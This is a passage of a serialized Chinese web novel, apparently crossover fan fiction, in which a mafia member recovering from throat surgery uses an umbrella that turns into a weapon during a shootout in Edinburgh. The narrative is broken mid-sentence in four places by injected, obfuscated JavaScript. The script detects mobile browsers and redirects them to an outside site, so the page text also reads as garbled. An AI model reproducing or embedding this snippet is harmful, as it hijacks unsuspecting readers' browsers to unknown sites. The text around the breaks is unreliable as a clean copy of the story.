公关官乍一听,没想起话里的“他”是谁。从钢琴家的脸上他只能看出几分得意和尽在掌握的自信。 谁? “你之前感兴趣的那个。” 嗯?啊……佐久间弥津? 从公关官的脸上看出其想法,钢琴家点头,“是他。” 他回你什么了。 钢琴家眼神示意身边的人去桌上翻电脑看聊天记录。 将信将疑的人点开挂着自己亲手绘制的头像的账号,第一个消息窗口的备注就是“佐久间”。二人昨天白天进行的对话很简短。钢琴家的账号在近一个月前问过对方目前情况如何,然而,到昨天,佐久间弥津才惜字如金地回答说,可控。这段时间在做手术。 钢琴家追问,是什么样的手术,是伤口感染了吗,可对方没了下文。 今天上午,时隔一天,在半个小时前回复说,是声带填充手术,目前在禁声期。 “也就是说……他手臂上的伤不仅没有影响到他,他还有余力去准备别的手术。” “正是如此。” “我有其他想问的事。” “这可不行。”钢琴家想也不想,拒绝了公关官“借用”他账号的想法。 “他知道我了解他的遭遇。但理论上,除了我和中也,以及任务相关的人,谁也不可能知道这件事。” 旁人最好装傻。 好吧。公关官的双手离开键盘,以示认同。 “好消息是,如果组织决定召回他,我们面对的是一个发声能力恢复得不错的佐久间弥津。而且,被召回的人一定会申请留在欧洲部门,你不用多此一举去探究他的背景。” 那坏消息呢。 钢琴家笑了一声。 “坏消息是,‘执伞人’能不能恢复到全胜时期,还是未知数。一个身体机能有所下降的成员,还在离职期间遇到这样的意外,会不会重新得到重用,就是另一回事了。” 但他想…… 钢琴家没说的是,以佐久间弥津当年抛下一切毅然辞职的事来看,佐久间弥津是个对地位毫无想法的人。其强悍的异能力能将其送到让许多人仰望的地位,但不可否认,佐久间弥津本人也许根本没想过这方面的事。这样索求甚少的人,在任何地方都会活得十分自洽。 电脑上的软件图标突然闪了闪,新的消息发到了他们的聊天框中。 【你可以转告给中也先生】 恰好坐在电脑前的公关官手快,立马回了消息过去。 * 佐久间弥津做了个辛苦了的口型。 镜优守在病床前,只能看上司玩电脑也不感到乏味厌烦。 在为期三周的限制用声期,镜优没有工作得昏了头而要和刚做完手术的上司开始长篇大论。 他什么都理解,唯独不能理解手术前为什么要禁止他与之见面。水落望音一定有被害妄想症,他几年前就知道了。 “这是布丁。” 单人病房,寂静又安全。虽说佐久间弥津要求很快出院——再重复一遍,他只是嗓子和胳膊有问题,腿脚没有问题——但软禁过他的人,在他术后刚清醒时,远程命令他在这间私人医院呆至少两周。 “否则,我会把镜优调去他最讨厌的美洲。” 佐久间弥津明着答应,背地里准备今天过后就溜走,回他在伦敦的住所。 没有淋焦糖或者巧克力的蛋奶布丁,吃上去是纯正的牛奶味,微甜,放在冰箱里短时间降了温,低温食物更有助于减轻疼痛。 而且,今夜没有下雨。 就一间病房来讲,他所在的单人病房很宽敞,窗户很大,可惜他在英国,晒太阳是很奢侈的活动。但和他的住所相比,就很小了。优给他带来一箱四盒布丁,点心店新鲜现做,放小冰箱里可以保存到明天。 他“命令”优也吃一份,因为他晚上要从医院离开,东西是带不走的。 镜优起身去关病房的灯。 明亮的灯一关,病房里就只剩电脑屏幕的亮光。 很久以前,久到镜优还是未成年的时候,他就是这样陪同弥津大人等待上级更新命令。没有多余的联络手段,初来乍到的新人也没有四处闲逛的心思,他更乐意呆在比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632092|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 较安全舒适的地方,慢慢熟悉欧洲部门的工作。外语比他熟练,能力也比他更适合战斗的弥津大人是他真正意义上的第一位上司,同意他隔三差五就住在自己家的客房里。 借着电脑屏幕的光,他发现弥津大人盯着屏幕思索起什么。 他可以不过问弥津大人在和什么人联系,但他必须说,“拿着钥匙的小鬼态度超级差劲。” 注意到投向他的视线,他说得越发来劲。 “他仗着你没对他说过,不愿意把钥匙给我。我只好让他开门,才拿到东西。” 张嘴想说些什么的人顾忌医嘱,最后只是轻轻嗯了一声,手指敲了敲屏幕,示意他来看。 他立马忘却对小鬼的不满,凑上前去,看到有人发来了一句【医生怎么说】 这人谁啊。看着也不像知情人里的哪个人。 他看到上一句话是“可以转告中也先生”…… 怎么看着像本部的人,这是谁? “不想说就不用说了,他们不知道你在这里。”他劝道。 佐久间弥津简单回了个“手术没问题,之后需要修养”。 中也先生和他联系借用了“钢琴家”的账号。至于这位在总部工作的成员,优往返国内外,总有一天会在总部亲自遇到的。 避开夜间值班的护士,二人从病房溜走前吃光了剩下的两盒布丁。不下雨的天气,夜空也不晴朗,不像国内,抬头能看到闪烁的星星和时圆时缺的明月。 监控摄像头拍下了二人明目张胆从医院后门离开时的身影,但早已昏睡过去的值班人员没有机会看到了。 “再待一段时间吧。等发声训练期结束之后,再送你回去。” 佐久间弥津同意这样的安排。 他再次身体力行地证明,除了嗓子不能正常使用外,身体其他方面机能依旧优越。 左手拉住身边的人,佐久间弥津轻轻摇了摇头。 二人站在家门外,无声地等待。 片刻过后,本该空无一人的房子亮起了灯。门从内向外打开。 来人生着一双色彩黯淡但情绪充盈的灰眸。冷淡的眼神二人脸上扫过,懒得生气的青年面无表情地嘲讽道,“你们把我当傻子吗。” 镜优想回答是。但碍于上司和这个男人的交情,他没办法说实话。 佐久间弥津摇了摇头。他知道水落早晚会发现……但比他们自己还早追过来,真吓人啊。 早几天发现镜优离开医院,回到友人多年不在的家,水落望音就明白这是友人在为从医院逃走做准备。 他又有什么好生气的。事实就是友人能跑能跳,看着和正常人无异,手术前,能在只有左胳膊能动的极端情况下“顺手”处理拦路的荆棘。 他之前是有些担心过头了。 三人各怀心思进了门。 房子提前打扫过,回来就能住。 他把一沓文件丢在餐桌上,暂时不追究镜优带弥津逃出医院的责任。“关于那把伞的事,我得和你谈谈。” 那把伞不是黑手党家族不外传的技术,是一把几十年前下落不明,流落民间的异能武器,制作它的异能技师早年间离世了。 “把伞卖给你的人过去两年遭受了不下五次盘问,但那个商人一把年纪,当了几乎一辈子商人,心眼多,不管是不是演出了一副上了年纪老糊涂的样子,总之,他蒙混过去了。国际刑警组织始终找不到买了这把伞的人是谁。文件在这,自己看吧。” 42.比黄雀后的都市传说(上) 他是个运气不错的商人。 小小年纪碰巧入行,直到年纪大了宣告退休,他知道风险越大就越容易吸引到赌徒心态的人,也知道他这种没什么自保能力的普通人最好不要和混迹黑市的人起冲突。他从来只当他的商人,纯粹地做买卖,此外什么犯法的事都不干。 他年轻时也过了一段苦日子,入行后赚了钱,也和普通人一样挥霍过几年,但后来发现时间和健康的身体才是最贵的东西。 他对着镜子发现自己长出了白头发,脸上的皮肤也垮掉,像个正常人一样慢慢变老了。 到最后,他店里还有一些不值钱的小玩意没卖掉。他等不及了,能送掉的东西都被他送给附近的商户,可以塞进行李箱里的小玩意他就带走了,其余东西,他只能放弃掉。 他拿着这辈子的积蓄,搬去了爱丁堡。 在确认身体还有余力之后,他收养了一对孤儿姐弟。 两个小孩很有探索精神。被他收养了之后,不愿意上学,更愿意像小说里劫富济贫的侠盗一样,当一个受人尊敬的英雄。 “但被一个学识渊博的青年好好说教了一顿之后,发现自己笨得像乌龟一样的姐弟俩自愿回学校上学了。” 奥瑟·米勒给今天上门的客人端上一杯温热的红茶,兴致勃勃地对青年讲起这几年的故事。 “我一看到你带着那把伞,我就认出你了,我们得有四五年没见了。” 银发青年对他点头,接下他端来的茶。 无须多言,他也知道青年为什么几年之后莫名来找他。 “放心,我不会因为这把伞意义重大就在几年之后狮子大开口的。” 他已经老得厉害了,白发苍苍,眼神也不够好,本就没几年活头,因为贪婪引来杀身之祸提前结束一生,他收养的那对姐弟怎么办,还没规划好的资产又怎么办。 打开的电视机里正在放送局势焦灼的英超联赛。 佐久间弥津没关注过足球比赛。但老人热情地给他介绍比赛的队伍,还指出有个足球队刚换了主教练,丝毫不关心他放在桌边的长柄伞。 虽然他看不懂足球,但他还是捧场地点了点头。 来到爱丁堡的这天,很幸运地遇到了晴天。 街头有对拍摄婚纱照的新人,脸上的幸福笑容感染了周围的路人。街头艺人很多,他站在一个唱流行歌曲的弹唱歌手附近安静地听了一会儿。 水落找到的信息里唯独没有关于这把伞功能性的描述。它究竟为何被称为异能武器他们不得而知,但是哪位异能技师创造的倒是条理地写得完整。 你该不会要把这把伞还回去吧。 他摇头。这是他买来的伞,用了好多年了,有什么还的理由。摆在他们面前的问题是,如果它是异能武器,要怎么使用呢。他对此没什么头绪。既然如此,就让他再见一次把这把伞以其他理由卖给他的商人。 “他什么都不知道。” 是。那个商人如果知情,就不会以错误的背景卖给他了。 他一定要来见见这位已经金盆洗手的商人。 满头白发的老人津津有味地看足球赛,还问他待会儿要不要留在家里吃饭。 “今天是周末,克拉拉和西奥多早就出门去了。我也不管他们和朋友们疯玩,太阳落山之前回来就好了,不然我会克扣他们的零花钱。” 他婉拒了老人端来与他一起分享的炸薯条和热腾腾的牛排派,指了指自己的喉咙。 老人一脸顿悟,是嗓子生病了吗? 他点了点头,轻声道,“最近,做了手术。” 声音的撕裂感和好似呢喃般的口齿不清很好地佐证了他的话。老人赶忙让他安静点,又把刚要端到他面前的啤酒端给了自己,替他续了一杯红茶。 “你还很年轻,身体上的毛病也好治。我中年时才明白身体健康的重要性,我很在乎我的健康,所以直到现在,身体上也只有些无伤大雅的小毛病,年龄大了,不可避免。” 老人说,我早知道你是地下组织的人。犯罪组织也好,杀手组织也好,我不会探究,今天刚一见到你,我就知道你是为何来找我的。 “过去几年,那些自称国际刑警的家伙找过我好几次,可我除了你是个不得了的人以外,什么都不知道,就连这一点,我也没说,我只说你是个在黑市买东西的人。见从我嘴里找不到这把伞的下落,那些人就再也没找过我了。” 比起谈论旧事,老人更爱聊电视上转播的足球赛。 他喝着放凉了点的红茶,一边听老人比足球解说还热血沸腾地讲解。他没说自己要呆到什么时候,老人也乐得有人上门和他一起看足球赛,即使是个意料之外的客人。 可惜他没办法和老人一起讨论局势。开赛半小时,都没有哪个队伍能先行破冰,倒是让他等到了老人收养的小孩子打闹着回了家。 一对姐弟,相同的棕发,相同的性格,面对长相与自己迥异的客人,也大胆上前交谈。 他们可不知道“爷爷”居然还认识外国人,而且是个这么年轻的外国人,亚洲人的长相,独特到放在人群里跟踪都跟不丢。 你来自哪个国家?年长一些的姐姐问。 你为什么晴天要带伞?脸上有几点雀斑的弟弟问。 佐久间弥津望着两名年纪估计不满十岁的孩童,默不作声。 老人把两个好奇心爆棚的小孩拉到自己身边,郑重地介绍说,“这位是……” 当他发现自己并不知道这位远道而来的客人的名字时,他的话卡壳了。 正当他打算敷衍过去,青年却勉强张口对他们说,“……‘藤泽’。” 哦! 这位是,“藤泽”,是我以前认识的“朋友”。 “果然您是亚洲人!” “可以再说一遍吗,先生!我没记住……” 老人把问个没完的小孩子打发去厨房,那里有留给他们的牛排派和鸡肉蔬菜派,他们爱吃什么就拿什么。 对于一个孤寡的独居老人来说,有两个叽叽喳喳的小孩陪着,这样的生活完全算不上悲哀。从中年开始重视身体虽然不早,但也不迟。 “现在我还能做自己喜欢的食物,看支持了大半辈子的球队换了好几代人继续征战绿茵场,我很满意了。” 佐久间弥津大部分时候都在点头,伞没离开过手边。 他陪老人把那一场球赛看完,便起身准备离开,没答应老人挽留他一起吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640139|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚餐的邀请。 如果在他打开这扇房门前仍然无事发生,就说明国际刑警组织没打算在老人面前对他出手。 带着伞在老人住所附近的街道漫无目的地闲逛,为的就是让关注这里的人注意到。不管对方是国际刑警组织,还是黄雀在后的异能犯罪组织,他们来者不拒,照单全收。 * 水落望音没有抽烟的习惯,只是偶尔喝酒,也不像友人一样酒量惊人,是普通人的水平。他身上没有烟味,不用像鸿上一样为了见闻不得烟味的病人专门换衣服。 他打开车门透气,随时准备接收友人的信号。 弥津的伤没有大碍,右胳膊未来会恢复得很好,声带填充手术也很成功,接下来只需要慢慢养身体。 他没有调查到被国际刑警组织当异能武器调查的伞有何能力,但这样的调查一直存在。 提出引蛇出洞计划的是弥津自己,“如果他们日常监视卖伞给我的商人,就会发现我出现了,然后上门交涉。” 他否决了。明面上调查这把伞的是国际刑警组织,背地里想分一杯羹的组织却有好多。如果在被官方组织收回以前,能将异能武器收入囊中,这对每个组织都是好事。 他是一年前才得知那把伞的来历大有文章的。听说有人在暗中调查一把伞的下落,这不是很可笑吗?一把伞有什么好调查的。一边这么想着,他一边派人在工作之余接触几个情报贩子。 因此得知,那些在找伞的家伙居然是国际刑警组织。 他故意抛出烟雾弹,吸引那些家伙们上钩。虽然钓是钓到了,但也仅仅是钓到了而已,能确认他们在找的的确是弥津买来当普通雨伞用的伞,称其为“维尔丹尼”,这是北欧神话里一位女神的名字,不知为何用在这里,难道仅仅是因为顺口。 最头疼的是查不到这件异能武器的功能。 当伞用,就挺好。 弥津说。 幸好他早就习惯了弥津时不时突然来劲的冷幽默。 “你要拿那个商人当人质?” “不。” 弥津看向他的眼神,让他收回了自己的态度。他勉强答应,暗地里帮忙布局。 好吧,他其实知道没人能越过好友干掉别人,也就没有人质与否一说。不害老商人受伤,那就不是人质,老商人只是一个演技天生优越的演员。 那名商人定居在爱丁堡,他们特地赶来这里。 他此刻抬头就能望见海。海面在夕阳的照耀下闪烁着粼粼金光,只可惜他不是赏景的料。他在等待,等到耳边响起枪声,响起人们的尖叫,响起车辆按喇叭的声音,他始终呆在无人经过的地方,等着最后的信号。 一通电话,他们约定了。 只要弥津需要他动手,打个电话,他瞬间就能明白。 特意设置的铃声在断断续续的枪声中响起,他弯下腰,伸手点在光秃秃的地面上。 以他手指触碰的地方为起点,向周围荡开了一圈又一圈的水波纹。 地面变成了平静的湖面,被投入了一颗小石子。 整个过程持续了不到三秒,电话被无端挂断。 他关上车门,知道事情已了,他们该回伦敦了。 43.比黄雀后的都市传说(下) 一周前放出去的消息,在今天收网,佐久间弥津做好了万全的准备。然而在他决意撤离的前一刻,米勒的家门被咚咚咚的急促敲响。 他示意老人别靠近,僭越地以主人的身份,为访客开了门。门后站着一个比他还高的年轻男人,喘着气,似乎奔跑过,焦急地向他展示自己的工作证件。 一副典型的欧洲人长相,自然卷的淡金色头发,眼睛因为过于急切而睁大,目不转睛地盯着他,“请——” 右手虚拿着那把万众瞩目的长柄伞,他伸出左手,把经验不足的年轻国际刑警拽进米勒的家,不太礼貌地用脚尖勾了一下门板,接着用膝盖顶着,关上了门。 流畅地做完这一系列动作的人把手里抓着的刑警用力推到一边,不顾自己的力道可能把年轻的刑警先生推得摔倒,自己立刻朝里面的厨房退去。 他们的身影被门挡住,瞄准他们开枪的人错失良机,只好泄愤似的对准房门扫射。 有人对遭受枪击的危险始料未及,也有人对此毫不意外。 众目睽睽之下对一间房子开枪,异能犯罪集团图谋不轨,来意昭然若揭:今天定要从刑警组织手里夺走那一件异能武器。 混乱一触即发。中心街道上,行人们在枪声响起后尖叫着逃窜,生怕自己成为不幸的一份子。人们惊慌恐惧地高声叫喊,汽车驶过马路却被飞奔的人们拦住去路后不耐烦地狂按喇叭,降下车窗后却听到震耳欲聋的枪声,条件反射地拉住车的手刹,弃车而逃,完全忘记自己的车停在大马路上会造成更大的阻碍。 奥瑟·米勒是见过大场面的,赶忙招呼刚刚上门的刑警和藤泽进里屋。 “天哪!外面的是什么人?” 这名上门的年轻刑警他认识,来过他家里好多次了,想让他回忆起更多和藤泽的交流细节,叫什么……对了,“斯卡德纳先生,你今天怎么会来?” 猛烈的枪声几乎掩盖了他努力提高的声音,呆在厨房里一大一小的姐弟大呼小叫地冲了过来,一左一右抱住米勒的胳膊。 贝洛·斯卡德纳来不及回答证人的问题,击穿一楼窗户的枪击逼得他只能同其他人一起躲进屋子最里面的厨房。 但他眼前的亚洲青年眼里没有惊慌失措,指了指餐台,让老人和两个小孩蹲在餐台后面。 随后,在接连不断的枪声里掏出一只录音笔,放给了他。 “把它的信息全都告诉我。” 冰冷,僵硬,没有人气的电子音。 持有异能武器的青年越是冷静,斯卡德纳的脸色越是铁青。 他已经明白了,这是针对国际刑警组织的圈套,背后主谋就是这个亚洲人。 得知那把伞出现在爱丁堡消息的不止他们一个组织,还有更多心怀不轨的家伙。都是这个男人故意透露的。 枪声渐息,老人搂着两个小孩从餐台后探出头来,望着正在无声对峙的他们两个,喊道,“安全了吗?” 亚洲青年摆了摆手,表示事情不会就这样结束。 老人只好把脸上没有害怕只有好奇的小孩子按回原位,等他此刻更信任的“藤泽”给出安全的信号。 刑警先生看着躲在安全处的老人和小孩,眼里闪过几分懊悔与让人看不懂的阴郁。他没有理会外国青年的逼迫,抽出藏在衣衫之下的枪,打算弥补自己情急之下犯的错。 他不该只身来此,更好的选择的确是等到支援再上门。 但他太害怕这件异能武器失去线索了。 依照老米勒的话,这把外形伪装成伞然而实际是异能技师多年前制作的异能武器,被一位亚洲面孔的年轻人在六年多以前买走。而那时,他经营的商店开在伦敦最有名的地下黑市里。 这样一来,他们想要找到购买人就更是难上加难。 他们在伦敦的地下组织之间暗中调查了一年之久,也没能找到和那把伞的线索。那是一把外表平平无奇的伞,他们可能在任何地方看到一把描述符合“伞布外黑内白”的长柄伞,为此,很抱歉误会过几名无辜的民众。 它的创造者所贯彻的美学是“低调”和“优雅”。这名异能技师来自哥伦比亚,许多年前已然离世,但制作的异能武器在其离世后差点被不知其用处的家人当做普通遗物处理,保存在家中的库房。包括这把“伞”在内的武器,都是异能技师在世时作为补贴家用的“产品”而创造的。 第一任主人是位英国历史上有名的伯爵,出于“赚钱”的想法,异能技师为其定制了这件武器。第二任主人是伯爵的好友,据说是位身份异于常人的异能力者。在伯爵的遗嘱里,要求那名好友保管这件武器。 然后是第三任,那位好友的副将……最后,这把现在看来是可以遮阳又避雨的伞,下落不明。让国际刑警组织开始调查这件武器下落的契机,是出自同一位异能技师之手的其他武器被他们在异能罪犯手里缴获。 ……外面很安静。 刑警先生敏锐地察觉,停火的敌人缓缓靠近了被打成筛子的房门,只要踢一脚,房门就会彻底失去庇护的作用。 保护普通民众,也是他的责任。 至于拿伞的青年……等面前的危险被抹除之后再处理。 他和凶徒们隔着墙壁和摇摇欲坠的房门,开始较量起一种看不见又摸不着的东西。 谁更能沉得住气,谁就能打对方个措手不及。他已经准备好了,在房门被突破的瞬间,他就会—— “方法告诉我。我会救他们。” 笔直地站在他身后的青年轻声说,嗓音虽然怪异,像是被磨砂纸狠狠蹭过一般,但口语很标准,他听得懂。 “你的目的,就是用普通人当人质,逼我们把武器的秘密告诉你?” 青年神色不变,但他却从青年的眼瞳里察觉到几分赞同。 他在心里不可置信地想,这个男人是不是个疯子。 此人用最友善的方式挟持了人质——他进门时分明看到老米勒和这个男人在一起看球赛,桌上摆着牛排派、啤酒、炸薯条和热茶,都是动过的。自从他接到消息说有疑似目标人物的家伙出现在老米勒家附近,他一刻不停地匆匆赶来,虽然有犯罪组织黄雀在后,但他没有不上门的道理。 就算他对老米勒说,这个青年的真实目的是招来对异能武器虎视眈眈的犯罪组织,并把老米勒和他收养的小孩子当人质以达到自己的目的,老米勒也会当他在没有证据胡说。 他身为刑警,不可能放任罪犯袭击普通民众。 “你们,在监视他。”青年缓慢地说,仿佛在熟悉自己的发声器官。 贝洛·斯卡德纳则沉默地上膛,举枪。他们监视老米勒是必要的。 ……是正义的。 从弹孔中,他看到摇晃的人影,似乎敌人已经抬脚准备踹开房门闯进屋内了。 “快点。否则,他们会没命。” 他们,也是“我们”。 斯卡德纳一咬牙,悄声说,“把异能力作用于它,越多越好……” 当施加于“伞”的能力超过一定阈值,它就不再是伞。 他还没说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648745|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,房门就被一脚踹开。 他聚精会神地瞄准踹门的敌人,精准打中其右肩膀,但在惨叫的敌人踉跄着倒下后,他们面对的是将数挺机枪对准室内的壮汉们。 唉。 他突然卸下一切压力,仿佛头脑都轻松了。假如因为他的愚蠢和冲动导致可怜的老人和小孩失去性命,那么他除了在地狱赎罪和道歉之外,也没有别的事可以做了。 ……噢,等等。 他惊奇地转头,发现青年拿在右手里的伞被滋滋作响的银白电光吞没。 青年微微皱眉,额头流下冷汗,但仍在被击中肩膀的敌人先行逃走后,将大变样的“伞”插进…… 嘿!怎么回事!地面怎么出现了水波纹? 萦绕着白光的“伞”插进出现水波纹的地面,银白的电光沿着莫名变成“水”的地面迅速笼罩这片空间。 机枪枪口冒火,但射出的子弹穿过电流形成的荧幕时内部形成涡流,强大的电磁斥力挤压、撕裂金属弹头,竟然毫无遗漏地将机枪子弹挡在电流幕外。 斯卡德纳听到了敌人的惊呼,听到了敌人喊叫说自己半边身体麻了。 整个过程很短,只有两三秒。 屋外的街道,远到街道对面,近到门口的机枪手,几秒前嚣张跋扈自以为胜券在握的敌人通通躺在地上。 把恢复成伞的异能武器拿在手里,青年的神色肉眼可见的疲惫。 他哑口无言,不知该如何形容这样罕见又惊人的场面。 没看错的话,青年手里的伞方才变成了一根……黑色的手杖?旧时代贵族最爱用的那种。 青年左手的手机原因不明地黑屏了,但刚才好像拨了一通电话出去。 这一切发生得太快了,他没看清。 * “你弄砸了拿回‘维尔丹尼’的任务,所以,上司的意思是,你必须得到处分。” 维娜女士把一沓文件拍在他肩头,皮笑肉不笑。 贝洛·斯卡德纳垂头丧气地听队长的说教。 他把什么都搞砸了,就连维尔丹尼唯一被他们掌握的信息都在对方的逼迫下,被他泄漏了出去。 “但还有一个好消息。听不听。” 听。 “听就直起身子来。” 维娜女士扶了扶眼镜,扫视着眼前的部门新人,“鉴于你在后续剿灭异能犯罪组织中十分卖力,并且在那天拯救了一名老人外加其收养的一对姐弟,同时把损失降到了最低,因此,上司还有给你发点奖金的意思。” ……啊? “逼迫你在救人和保守秘密之中二选一的男人,把我们和异能犯罪组织一起扯进他的计划里,就出谋划策的能力来看,干出这一切的人段位很高,你这样的新人,会被那种家伙吃得连骨头都不剩。” 他现在的心情很奇怪,不知道该因为自己要被处分而难过,还是因为戴罪立功而高兴。 维娜小姐对他额外提到了一些值得关注的地方。 带走维尔丹尼的家伙打晕你离开的那天,侦查队发现了许多奇怪的点。 小到智能手机、平板电脑、笔记本电脑,无线耳机、蓝牙音箱,甚至是手持吸尘器和电动剃须刀,大到奥瑟·米勒家后院的电动割草机、绿篱修剪机、无绳电钻等等。 “凡是能充电的东西,通通没电了。” “……范围呢?” “你是指出现莫名没电的器具的范围?”维娜小姐回答说,“那一整片街区。还包括当时正在行驶中的汽车的铅酸蓄电池。” 44.没法子了的都市传说 染崎请求鸿上转交给他的巧克力被他塞进了电脑包,医生不建议他这段时间吃巧克力。他要把这袋巧克力带回国,等到嗓子百无禁忌之后赶在保质期到期前吃掉。 为防节外生枝,染崎最后也没和他见面,只是隔着电话说无论他回去或者离开,自己支持他的一切决定。 他用尚不完美的嗓子回答“谢谢”。但优后来告诉他,挂了电话之后染崎躲工作室哭了好半天。 “其实染崎已经知道你当年是为谁当了替死鬼。” 是吗。那已经是过去式了,不用再提。 在他暂停复健训练计划回国时,水落单独找了他。 他们是朋友,但也是过去和未来的同事,甚至可能会是上下级——他对和水落成为真正的“上下级”很期待,但水落总说这种事不会发生。 如果中也先生安排他留在本部,他也会尝试申请调来欧洲部门。他想亲自体会在水落手里工作的感觉。不会像优形容得那么惨,也绝非鸿上所形容得那般轻松。 “别开玩笑了。” 水落望音背对着友人,给手机插充电线,不让弥津看到他不慎外露的情绪。“回去之后,让那个小鬼离你远点。” “我试试。” “……你看不出来吗。”水落望音忍无可忍地转身,有点恨铁不成钢。 他现在对那个小鬼极度反感。那种眼神背后的意味,弥津不可能看不出来。 “那个家伙就差一天到晚都黏着你了。” 为什么要容忍他在你眼前晃来晃去。对他心软一次,以后再发生类似的事他也难逃一死。 “我会考虑。”佐久间弥津认真回答,严肃的神情仿佛对友人的“建议”很赞同。 苏枋确实和他走得太近了,这一点他无法否认。但水落说苏枋会对他有其他企图,这一点他不认同。 他会正视苏枋和他的关系。苏枋毕竟还是个学生,和他这样的人交往得到的只有危险,没有好处。一个身份怎么说都比他干净得多的学生,是不该和黑手党组织扯上关系的。 “……” 水落望音说不出话。 眼前好友做完手术的嗓子还在恢复期,做不到和他像几年前一样对一件事以各自的方式争论,必须尽可能用少而又少的词,用最不伤嗓子的方式发声。 水落望音面无表情地盯着友人的脸,暗地里咬了半天牙。 发现水落的脸色越来越难看,在水落逼他从苏枋和组织之间选一个之前,佐久间弥津先一步承诺道,“我努力。” * 离开近三个月。此刻他凝视着眼前的少年,暂时压下心中的思绪。 书店一切照旧,连站在他身前的少年都和以往一样。几乎威胁到性命的事似乎完全没有被苏枋放在心上。 面前的人从他的手上拿过电脑包和伞,关心道,“手臂上的伤已经没事了吗。” 他举了一下右胳膊,以实际行动表示手臂使用自如。没有伤及骨头,要经历避免提过重的东西和使劲,但拿一把“伞”而已,没有多重,完全不进行康复训练才是错误的。 衣袖之下,胳膊上遗留的数道丑陋伤痕摸上去已经没有了仿佛结痂一般明显的凹凸不平,更贴近皮肤的质感。即使颜色和正常皮肤不同,十分难看,但痂皮掉落,新长出来的皮肤脆弱发红是正常的。也许要再过数年,偏褐色的伤痕才会慢慢褪去,变成浅浅的一道。他不在乎能不能恢复如初,他身上永久留痕的伤口不只这几道。 这些,就不用对苏枋说了。 他收下了少年带给他的花,转头打发少年回学校。 “欸……可是你好不容易回来。” 在漫长的等待中没有被时间压垮的心,在见到青年的这一刻跳得飞快。 “见不到你的日子,我很不习惯,弥津先生。” “治病嘛……是这样的。” 他要准备接受手术,还要时不时接受医生检查右臂的情况,幸好能借着替水落处理些特殊情况为由,在雨夜出门散步,否则他的生活会无聊死的。 世上是存在这样的人的:不担心生病,也不害怕受伤,能力可以强化身体,还找得到稀有的治疗型异能力者。 他没有那么幸运,必须认真对待自己的身体。 站在他桌前的少年不愿离开,看着他,眼神执拗,“你以后还会离开吗。” 离开?去哪里。如果是指他回组织的事,他轻点头,承认自己的打算,“嗯。” 发声训练旷日持久。离开英国前,医生判断手术效果正在逐渐巩固,只要细心养护,发声能力会缓慢恢复。理论上的训练期不只一个月,但他不想花时间专门等声音完全稳定。 回去……不出意外的话,等他把答应梅宫的事做到至少八成,就会计划起离开的具体事宜了。 “你会像那天说的一样做吗。” 佐久间弥津注视着站在桌前的少年,心里盘算着出门买个小花瓶,想办法延长这束开得正盛的新鲜花朵的寿命。 但他在哪天说了什么。 明白青年忘记了自己亲口说过的话,苏枋隼飞提醒道,“你对那个人说过的。” 其实苏枋隼飞想要的不是佐久间弥津真的带他去别的国家,他用不着这样的对待。 他唯独在乎因为一场意外导致与他阔别数月之久的青年,还在不在乎这里。哪怕弥津先生“背信弃义”,他所期望的也只是不再像这次这般长久的分别。 房屋在风雪中屹立。闭店的书店外常有人经过,然后好奇地看一眼有段时间不开的店铺。他独自捱过严冬,迎来初春,硬是习惯了孤身一人等待。 但谁会喜欢“等待”。 得知弥津先生一切安好,只是去外地做手术治病所以久久未归后,他重新开始审视这整件事,并且惊奇地发现,自己差点要失去他了。如果那个和弥津先生有渊源的犯罪组织要对他赶尽杀绝,如果弥津先生没能挡住那个能力怪异的家伙,事情又要如何发展。也许他会死于黑手党组织的追杀,佐久间先生也会死在前组织手里。 听了他的话,青年的神色毫无动摇,沉思片刻后,朝他勾了勾手,示意他走近点。 他从桌前走到青年身侧,堪称乖巧地站在青年身边。 青年却伸手捏了捏他的脸。 左手的食指和拇指轻轻捏在他脸上,像在确认他是真人,而不是被带了人皮面具的家伙假扮的。 他吃惊地看着青年的举动,站在原地一动不动,心中被一种难以言喻的感情冲刷。 玫红色的眼睛静静地凝视着他,从未对他做过的亲密举动持续了一阵才停下。 “还想说什么。” ……这可有些难为他了。 他下意识露出微笑,一时想不到要怎么回答这种让他意想不到的问题。 “你明白吧,”弥津先生又说,“我的过去。” 做过手术后的嗓音依然有种不和谐的撕裂感,但声音很轻,像在耳语。 佐久间弥津的嗓子不支持他口头过多解释,但他认为苏枋是聪明人,就该明白他的意思。 他干过很多违法犯罪的事,杀过很多人,未来也会再杀很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 